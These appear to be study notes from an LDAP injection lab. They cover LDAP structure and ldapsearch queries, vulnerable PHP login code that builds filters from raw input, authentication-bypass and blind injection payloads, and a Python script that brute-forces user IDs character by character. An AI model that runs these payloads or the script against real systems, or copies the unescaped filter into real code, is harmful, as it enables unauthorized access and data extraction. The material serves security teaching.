Understanding LDAP and its Role in Directory Services
LDAP (Lightweight Directory Access Protocol) is a protocol used for querying and managing directory services over a network. It enables centralized management of users, groups, and other directory information, often used for authentication and authorization in web and internal applications.
Key Concepts of LDAP:
- Directory Services: Databases storing information about users, groups, and resources (e.g., Active Directory, OpenLDAP).
- Authentication and Authorization: Commonly used for centralized management of access control policies.
- Client-Server Model: LDAP operates with clients querying data from LDAP servers.
Structure
Directory Entries and Object Schema
In LDAP, directory entries are structured as objects that follow a specific schema. This schema defines the rules and attributes applicable to the object, ensuring consistency in how objects (e.g., users, groups) are represented and manipulated within the directory.
Services that use LDAP
- Microsoft Active Directory: Utilizes LDAP to manage domain resources in Windows domain networks.
- OpenLDAP: An open-source LDAP implementation for managing user information and supporting authentication across platforms.
LDIF Format
LDAP Data Interchange Format (LDIF) is a plain text format used to represent LDAP directory entries and update operations (add, modify, delete). LDIF is commonly used for importing and exporting directory contents.
LDAP Structure
LDAP directories have a hierarchical structure similar to a file system's tree. The structure includes:
-
Top-Level Domain (TLD): The root, e.g.,
dc=ldap,dc=thm
. -
Subdomains/Organizational Units (OUs): Categories under the TLD, e.g.,
ou=people
,ou=groups
.
Key Components:
-
Distinguished Names (DNs): Unique identifiers for entries, specifying their path, e.g.,
cn=John Doe,ou=people,dc=example,dc=com
. -
Relative Distinguished Names (RDNs): Represent individual levels in the hierarchy, e.g.,
cn=John Doe
. -
Attributes: Define properties of entries, e.g.,
mail=john@example.com
.
Queries
Basic LDAP search query syntax:
(base DN) (scope) (filter) (attributes)
- Base DN (Distinguished Name): This is the search's starting point in the directory tree.
-
Scope: Defines how deep the search should go from the base DN. It can be one of the following:
-
base
(search the base DN only), -
one
(search the immediate children of the base DN), -
sub
(search the base DN and all its descendants).
-
Filter: A criteria entry must match to be returned in the search results. It uses a specific syntax to define these criteria.
- May include operators like equality (=
), presence (=*
), greater than (>=
), and less than (<=
), AND (&
), OR (|
), and NOT (!
)
-(cn=John Doe)
to search for matches
-(cn=J*)
, * represent wildcard
-(&(objectClass=user)(|(cn=John*)(cn=Jane*)))
to search user entries with names starting with John and JaneAttributes: Specifies which characteristics of the matching entries should be returned in the search results.
LDAP uses ports 389 and 636 (for SSL/TLS). When either ports are open, we can use ldapsearch to query the LDAP.
ldapsearch -x -H ldap://MACHINE_IP:389 -b "dc=ldap,dc=thm" "(ou=People)"
Example output:
# extended LDIF
#
# LDAPv3
# base with scope subtree
# filter: (ou=People)
# requesting: ALL
#
# People, ldap.thm
dn: ou=People,dc=ldap,dc=thm
objectClass: organizationalUnit
objectClass: top
ou: People
# search result
search: 2
result: 0 Success
# numResponses: 2
# numEntries: 1
Injection Fundamentals
LDAP Injection is a critical security vulnerability that occurs when user input is not properly sanitized before being incorporated into LDAP queries.
Common Attack Vectors
- Authentication Bypass: Modifying LDAP authentication queries to log in as another user without knowing their password.
- Unauthorized Data Access: Altering LDAP search queries to retrieve sensitive information not intended for the attacker's access.
- Data Manipulation: Injecting queries that modify the LDAP directory, such as adding or modifying user attributes.
Injection Process
Making an LDAP Injection attack involves several key steps, from identifying the injection point to successfully exploiting the vulnerability.
This diagram illustrates the interaction between the attacker, the web application, and the LDAP server during an LDAP Injection attack. The attacker submits malicious input to the web application login form, which constructs an LDAP query incorporating this input. The LDAP server then executes the altered query, leading to potential unauthorized access or information disclosure, depending on the nature of the injected payload.
Exploitation
Below shows an example of vulnerable PHP code.
0) {
foreach ($entries as $entry) {
if (is_array($entry)) {
if (isset($entry['cn'][0])) {
$message = "Welcome, " . $entry['cn'][0] . "!\n";
}
}
}
} else {
$error = true;
}
} else {
$error = "LDAP search failed\n";
}
?>
This code is vulnerable at the section:
// LDAP search filter
$filter = "(&(uid=$username)(userPassword=$password))";
because it directly inserts user-supplied input ($username
and $password
) into the LDAP query without proper sanitisation or escaping.
For example, the attacker could use injected condition uid=*
as it will always be evaluated to be true.
Authentication Bypass Techniques
Tautology-Based Injection
For example, consider an LDAP authentication query where the username and password are inserted directly from user input:
(&(uid={userInput})(userPassword={passwordInput}))
An attacker could provide a tautology-based input, such as *)(|(&
for {userInput}
and pwd)
for {passwordInput}
which transforms the query into:
(&(uid=*)(|(&)(userPassword=pwd)))
Breakdown:
-
(uid=*)
: Wildcard always returns true. -
(|(&)(userPassword=pwd))
: The OR (|
) operator, meaning that any of the two conditions enclosed needs to be true for the filter to pass. In LDAP, an empty AND ((&)
) condition is always considered true. The other condition checks if theuserPassword
attribute matches the valuepwd
, which can fail if the user is not usingpwd
as their password.
Example
Injected Username and Password:
username=*&password=*
Resulting LDAP Query Component:
(&(uid=*)(userPassword=*))
This injection always makes the LDAP query's condition true. However, using just the *
will always fetch the first result in the query.
Blind LDAP Injection
Attacker strategies include looking for indirect indicators: , such as:
- Changes in application behavior
- Error messages returned by the application
- Response timings or delays
Below is an example of vulnerable PHP code.
$username = $_POST['username'];
$password = $_POST['password'];
$ldap_server = "ldap://localhost";
$ldap_dn = "ou=users,dc=ldap,dc=thm";
$admin_dn = "cn=tester,dc=ldap,dc=thm";
$admin_password = "tester";
$ldap_conn = ldap_connect($ldap_server);
if (!$ldap_conn) {
die("Could not connect to LDAP server");
}
ldap_set_option($ldap_conn, LDAP_OPT_PROTOCOL_VERSION, 3);
if (!ldap_bind($ldap_conn, $admin_dn, $admin_password)) {
die("Could not bind to LDAP server with admin credentials");
}
$filter = "(&(uid=$username)(userPassword=$password))";
$search_result = ldap_search($ldap_conn, $ldap_dn, $filter);
if ($search_result) {
$entries = ldap_get_entries($ldap_conn, $search_result);
if ($entries['count'] > 0) {
foreach ($entries as $entry) {
if (is_array($entry)) {
if (isset($entry['cn'][0])) {
if($entry['uid'][0] === $_POST['username']){
$message = "Welcome, " . $entry['cn'][0] . "!\n";
}else{
$message = "Something is wrong in your password.\n";
}
}
}
}
} else {
$error = true;
}
} else {
echo "LDAP search failed\n";
}
ldap_close($ldap_conn);
This code is vulnerable to Blind LDAP Injection at:
$filter = "(&(uid=$username)(userPassword=$password))";
because it constructs an LDAP filter using unsanitized user input.
It also gives vague feedback, making it hard to exploit directly. Attacker can use a tachnique known as Boolean-based Blind LDAP Injection.
Injected Username and Password:
username=a*%29%28%7C%28%26&password=pwd%29
*Note: **The payload above is the URL-encoded version of the payload `a)(|(& for username and
pwd)` for password. It must be URL-decoded first before using it.
Resulting LDAP Query:
(&(uid=a*)(|(&)(userPassword=pwd)))
If the application returns "Something is wrong in your password", the attacker can infer that a user with an account that starts with "a" in their uid exists in the LDAP directory. To check for the next character:
Injected Username and Password:
username=ab*%29%28%7C%28%26&password=pwd%29
Resulting LDAP Query:
(&(uid=ab*)(|(&)(userPassword=pwd)))
This indicates that the next character is not "b".
Techniques for Extracting Information
- Boolean Exploitation: This involves injecting conditions that are evaluated to be true or false and observing the application's response to infer data. For example, if the application behaves differently when the condition is true, the attacker can deduce that the injected condition matches an existing entry in the LDAP directory.
- Error-Based Inference: In some cases, specific injections might trigger error messages or peculiar application behaviour, providing clues about the LDAP structure or confirming the success of particular payloads.
Automating the Exploitation
Exploit Code
To automate the exfiltration of data in the previous task, you can use the Python script below:
import requests
from bs4 import BeautifulSoup
import string
import time
# Base URL
url = 'TARGET_URL'
# Define the character set
char_set = string.ascii_lowercase + string.ascii_uppercase + string.digits + "._!@#$%^&*()"
# Initialize variables
successful_response_found = True
successful_chars = ''
headers = {
'Content-Type': 'application/x-www-form-urlencoded'
}
while successful_response_found:
successful_response_found = False
for char in char_set:
#print(f"Trying password character: {char}")
# Adjust data to target the password field
data = {'username': f'{successful_chars}{char}*)(|(&','password': 'pwd)'}
# Send POST request with headers
response = requests.post(url, data=data, headers=headers)
# Parse HTML content
soup = BeautifulSoup(response.content, 'html.parser')
# Adjust success criteria as needed
paragraphs = soup.find_all('p', style='color: green;')
if paragraphs:
successful_response_found = True
successful_chars += char
print(f"Successful character found: {char}")
break
if not successful_response_found:
print("No successful character found in this iteration.")
print(f"Final successful payload: {successful_chars}")
Script Breakdown
Imports:
- requests: For sending HTTP requests.
- BeautifulSoup: For parsing HTML and navigating the response.
- string: Provides common string operations, including character sets.
- time: Used for time-related functions (though not used in the script).
Setup:
- url: Target URL.
- char_set: A set of characters (lowercase, uppercase, digits, and special characters) used to guess the password.
Variable Initialization:
-
successful_response_found: Flag to control the while loop, initialized to
True
. - successful_chars: Stores successfully guessed characters.
HTTP Headers:
-
headers: Set
Content-Type
toapplication/x-www-form-urlencoded
for POST requests.
Main Loop:
- The
while
loop runs until no successful character is found. -
For each character in
char_set
, a payload is created by injecting the guessed characters and testing one new character.
Crafting and Sending HTTP Requests:
- Data: The username is injected with a payload containing successfully guessed characters and a test character, while the password is arbitrarily set to 'pwd)'.
- POST request is sent with the crafted data and headers.
Response Handling:
- The response is parsed with BeautifulSoup to find
tags with a style of
color: green;
, which indicates a successful guess.
Character Verification:
- If the condition is met, the current character is added to
successful_chars
, and the script moves to the next character. - If no success is found, a message is printed, and the loop continues.
Output:
- Once all characters are tested or the password is fully guessed, the script outputs the final successful character sequence.
Then just use the script with:
python3.9 script.py